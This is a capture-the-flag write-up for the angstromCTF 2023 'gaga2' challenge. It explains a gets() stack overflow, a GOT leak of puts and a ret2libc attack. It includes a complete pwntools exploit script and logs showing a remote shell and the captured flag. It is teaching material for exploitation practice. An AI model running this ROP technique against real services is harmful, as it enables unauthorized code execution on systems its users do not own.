ångstromCTF 2023: gaga2

70 points, 220 solves

TL;DR

Leak puts address, and find the correct LIBC version from Bulkat database. Use the LIBC base address to perform a ret2libc attack.

Basic File Checks

In this 3 part challenge, gaga0 & gaga1 were solved using ret2win. However, gaga2 suggests that there is no win function available, so we're left with shellcode injection or ret2libc attack.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./gaga2 
Awesome! Now there's no system(), so what will you do?!
Your input: test

Performing binary protection check shows that NX is enabled, so shellcode injection is not feasible. Additionally, NX enabled is hinting that we need to perform a ROP attack.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ checksec --file=gaga2
[*] '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Static Code Analysis

gets function is used without boundary check, leading to a pwnable scenario for Buffer Overflow attack.

void main(void)

{
  char local_48 [60];
  __gid_t local_c;
  
  setbuf(stdout,(char *)0x0);ass
  local_c = getegid();
  setresgid(local_c,local_c,local_c);
  puts("Awesome! Now there\'s no system(), so what will you do?!");
  printf("Your input: ");
  gets(local_48);
  return;
}

Finding Offset

Using de Brujin Sequence and pwndbg to locate the offset.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic 80            
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ gdb gaga2
GNU gdb (Debian 12.1-3) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

Reading symbols from gaga2...
(No debugging symbols found in gaga2)
pwndbg> run
Starting program: /home/kali/Desktop/CTF/angStrom2023/gaga/gaga2 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Awesome! Now there's no system(), so what will you do?!
Your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa

Program received signal SIGSEGV, Segmentation fault.
0x000000000040124a in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
 RAX  0x7fffffffde70 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaa'
 RBX  0x7fffffffdfc8 —▸ 0x7fffffffe31a ◂— '/home/kali/Desktop/CTF/angStrom2023/gaga/gaga2'
 RCX  0x7ffff7f99a80 (_IO_2_1_stdin_) ◂— 0xfbad2288
 RDX  0x1
 RDI  0x7ffff7f9ba20 (_IO_stdfile_0_lock) ◂— 0x0
 RSI  0x1
 R8   0x4052f1 ◂— 0x0
 R9   0x0
 R10  0x1000
 R11  0x246
 R12  0x0
 R13  0x7fffffffdfd8 —▸ 0x7fffffffe349 ◂— 'COLORFGBG=15;0'
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x6161617261616171 ('qaaaraaa')
 RSP  0x7fffffffdeb8 ◂— 'saaataaa'
 RIP  0x40124a (main+116) ◂— ret 
 
 ┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ cyclic -l saaa
72

Attack Strategy

Since there is no win function available, we can instead create our own system function /bin/sh from LIBC, and direct program execution to that function address, this is known as a ret2libc or ret2system attack. To do so, we will need the base address of LIBC library.

Technically, you can manually carve for the address of system(/bin/sh) from LIBC.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
 196031 /bin/sh
                                                                                                                             
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
  1023: 000000000004c330    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5

However, this is only the relative offset, not the actual address due to ASLR. In order for this attack to work, we need to calculate LIBC base address + offset address to get the actual address of system(/bin/sh).

Leaking GOT Address

Using the BoF vulnerability, we can leak any function address from the Global Offset Table (GOT).

There are 2 methods to enumerate LIBC functions from the GOT, using either objdump or Ghidra's Program Tree.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ objdump -t gaga2                                                

gaga2:     file format elf64-x86-64

SYMBOL TABLE:
0000000000404058 g     O .bss   0000000000000008              stdout@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              puts@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setresgid@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              setbuf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              printf@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              gets@@GLIBC_2.2.5
0000000000000000       F *UND*  0000000000000000              getegid@@GLIBC_2.2.5

The exploit ROP chain consists of 5 parts:

  • asm('nop') * padding: Filling up the buffer to reach the offset.

  • pop_rdi: Prepare the rdi register by popping the value off stack (emptying out the register).

  • elf.got.puts: The address we want to leak. This can be any exportable function from gaga2 binary. In this case, we will leak the address of puts function.

  • elf.plt.puts: The function of choice invoked to leak got.puts address. The reason why puts is used again here, is because puts only requires 1 arguments, so we only need to prepare 1 register rdi. Technically speaking, we can also use write or printf here, but it requires more arguments, hence more ROPGadgets to prepare.

  • elf.symbols.main: Finally, we want to redirect program execution back to main to re-exploit the BoF vulnerability.

Exploit the BoF vulnerability once to leak puts address. Note that this is the actual address, not the relative offset.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Switching to interactive mode

Calculating LIBC Base Address

Since the challenge author did not provide the LIBC file used by the remote instance, we can perform a lookup from Blukat Database using the leaked puts address. Turns out to be libc6_2.31-0ubuntu9.9_amd64.

Now that we know which version of LIBC is used, we can carve the relative offset of puts using libc.symbols['puts'], and compare it with the leaked address of got.puts to calculate the base address of LIBC.

┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
[*] Leaked LIBC Base Address:  0x7f560547c000
[*] Switching to interactive mode

ret2libc

Using the base address of LIBC and relative offsets, we can calculate the actual address of system(/bin/sh) to pwn the remote server. The ROP chain for 2nd round of exploitation is essentially the same. We need to pop rdi again since system() accepts 1 argument, and insert ret in the middle for 64-bit stack alignment.

solve.py
#!/usr/bin/env python3
from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './gaga2'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()
rop = ROP(elf)

libc = ELF('./libc6_2.31-0ubuntu9.9_amd64.so', checksec = False)
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec = False)

pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = (rop.find_gadget(['ret']))[0]

padding = 72

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    elf.got.puts,
    elf.plt.puts,
    elf.symbols.main
)

io.sendlineafter(b': ', payload)

got_puts = unpack(io.recv()[:6].ljust(8, b"\x00"))
info("Leaked puts Address: %#x", got_puts)

libc_base_address = got_puts - libc.symbols['puts']
print("Leaked LIBC Base Address: ", hex(libc_base_address))

rop = ROP(libc)

system = libc_base_address + libc.symbols['system']
bin_sh = libc_base_address + next(libc.search(b"/bin/sh"))
pop_rdi = libc_base_address + (rop.find_gadget(['pop rdi', 'ret']))[0]
ret = libc_base_address + (rop.find_gadget(['ret']))[0]

payload = flat(
    asm('nop') * padding,
    pop_rdi,
    bin_sh,
    ret,
    system
)

io.clean()
io.sendlineafter(b': ', payload)
io.interactive()
┌──(kali💀JesusCries)-[~/Desktop/CTF/angStrom2023/gaga]
└─$ ./solve.py REMOTE challs.actf.co 31302
[+] Opening connection to challs.actf.co on port 31302: Done
[*] Loaded 14 cached gadgets for './gaga2'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  b3 12 40 00  00 00 00 00  │····│····│··@·│····│
    00000050  18 40 40 00  00 00 00 00  94 10 40 00  00 00 00 00  │·@@·│····│··@·│····│
    00000060  d6 11 40 00  00 00 00 00  0a                        │··@·│····│·│
    00000069
[DEBUG] Received 0x7 bytes:
    00000000  20 04 50 05  56 7f 0a                               │ ·P·│V··│
    00000007
[*] Leaked puts Address: 0x7f5605500420
Leaked LIBC Base Address:  0x7f560547c000
[*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.9_amd64.so'
[DEBUG] Received 0x44 bytes:
    b"Awesome! Now there's no system(), so what will you do?!\n"
    b'Your input: '
[DEBUG] Sent 0x69 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000040  90 90 90 90  90 90 90 90  6a fb 49 05  56 7f 00 00  │····│····│j·I·│V···│
    00000050  bd 05 63 05  56 7f 00 00  79 e6 49 05  56 7f 00 00  │··c·│V···│y·I·│V···│
    00000060  90 e2 4c 05  56 7f 00 00  0a                        │··L·│V···│·│
    00000069
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0xd bytes:
    b'flag.txt\n'
    b'run\n'
flag.txt
run
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x28 bytes:
    b"actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}"
actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

Flag: actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

Last updated